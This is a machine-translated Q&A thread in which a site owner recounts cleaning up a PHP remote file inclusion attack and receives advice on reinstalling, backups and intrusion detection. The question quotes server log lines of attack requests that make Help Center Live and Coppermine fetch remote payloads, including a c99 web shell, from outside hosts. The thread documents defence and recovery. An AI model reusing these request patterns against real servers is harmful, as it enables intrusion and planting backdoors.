PHP Injection Attack - как лучше всего навести порядок?

Время от времени моя среда общего хостинга подвергается риску, потому что, ну, мне не удалось сохранить исправленный портфель моих установленных приложений. На прошлой неделе это произошло из-за старой и неиспользованной установки приложения PHP под названием Help Center Live. В результате к каждому файлу PHP на сервере (а у меня есть несколько установок Wordpress, Joomlas, SilverStripe) был добавлен код, который вытаскивал скрытые ссылки с других сайтов и включал их в мою страницу. Другие люди сообщают, что их сайты забанены в Google после такого рода атак - к счастью, я, кажется, поймал это достаточно рано. Я заметил это только при переходе на один из сайтов с моего телефона - на странице были ссылки, включенные в мобильный браузер.

Я нашел много попыток атаки, как эта в журнале:

62.149.18.193 - - [06 / Feb / 2009: 14: 52: 45 +0000] "GET /support/module.php?module= HelpCenter // include / main.php? Config [search_disp] = true & include_dir = http://www.portlandonnuri.com/2008_web // technote7 / data / photo / id2.txt??? HTTP / 1.1 "200 26" - "" libwww-perl / 5.814 "

Я немедленно удалил это приложение и написал скрипт, который удалял оскорбительный код PHP из каждого исходного файла. Я также обнаружил, что скрипт создал HTML-файлы, содержащие ссылки для других зараженных сайтов. Я их тоже убрал. Теперь я обеспокоен тем, что злоумышленник мог оставить что-то еще, что я пропустил - файл PHP где-нибудь, что даст ему постоянный доступ. Все даты файлов были изменены в ходе атаки, и я не смог найти другие файлы, которые были изменены в течение рассматриваемого времени. Есть ли что-то очевидное, что я пропустил, чтобы убедиться, что на моем сервере нет бэкдоров?

Изменить: Я также ищу текстовые файлы, содержащие код атаки, как показано в приведенном выше фрагменте файла журнала. Я не нашел ни одного.

Другое редактирование: Если вы случайно натолкнулись на этот пост, потому что оказались в такой же ситуации, возможно, это вам поможет. Я использовал это для резервного копирования всех моих исходных файлов PHP, прежде чем манипулировать ими:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;

и это, чтобы отменить изменения, сделанные злоумышленником:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;

Не ракетостроение, но и не тривиально для случайного пользователя Linux/Unix, такого как я:-).

Другое редактирование: я не могу проверить каждую строку кода на сервере, но я могу искать подозрительные данные. Я искал все случаи "eval" и "base64" и не нашел ничего, что не выглядело законным. Затем я запустил grep для ".ru" (поскольку преступники, кажется, пришли оттуда) и, о чудо, нашел нечто, называемое оболочкой c99, которое я быстро удалил.

Окончательное редактирование: я узнал, как была загружена оболочка c99 - через отверстие в фотогалерее Coppermine.

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
    GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"

IP-адрес, кстати, является размещенным IP-адресом Godaddy.

4 ответа

Решение

После того, как ваша система была включена, у вас действительно есть только два варианта: проверять каждую строку каждого приложения или переустанавливать все. Поскольку, похоже, что это все открытые или коммерческие программы, вам, вероятно, лучше переустановить их все. На самом деле нет лучшего способа убедиться, что у вас нет задних дверей в одном из них сейчас.

Эксперт по безопасности, вероятно, порекомендует вам также полностью переустановить ОС, потому что вы не можете быть уверены, что какой-то код не был помещен в место, которое повлияет на ОС, однако, если ваши разрешения в настройке правильно, это может быть излишним.

1.) Храните хранилище файлов, которые вы используете для этих приложений (например, SVN или аналогичные)

2.) Будьте в курсе как можно лучше с обновлениями безопасности каждого приложения (большинство из них имеют RSS-канал)

3.) Регулярно делайте резервные копии вашей БД

Если / когда!@#$ Попадает в вентилятор, вы можете начать заново с новой копии БД и заново развернуть код из SVN.

Мы делаем полный список каталогов, все диски и папки, в текстовый файл каждый день.

Это помогло нам узнать, какие файлы были перевернуты, после факта, в прошлом.

Не очень поможет с тем, где вы находитесь сейчас, но может помочь в будущем.

(Не останавливает вещи, подделывающие их размер / дату изменения, но поможет разобраться в беспорядке для вещей, которые не беспокоят)

В дополнение к тому, что говорили другие, вы можете установить систему обнаружения вторжений (например, PHPIDS, которая является открытым исходным кодом).

Другие вопросы по тегам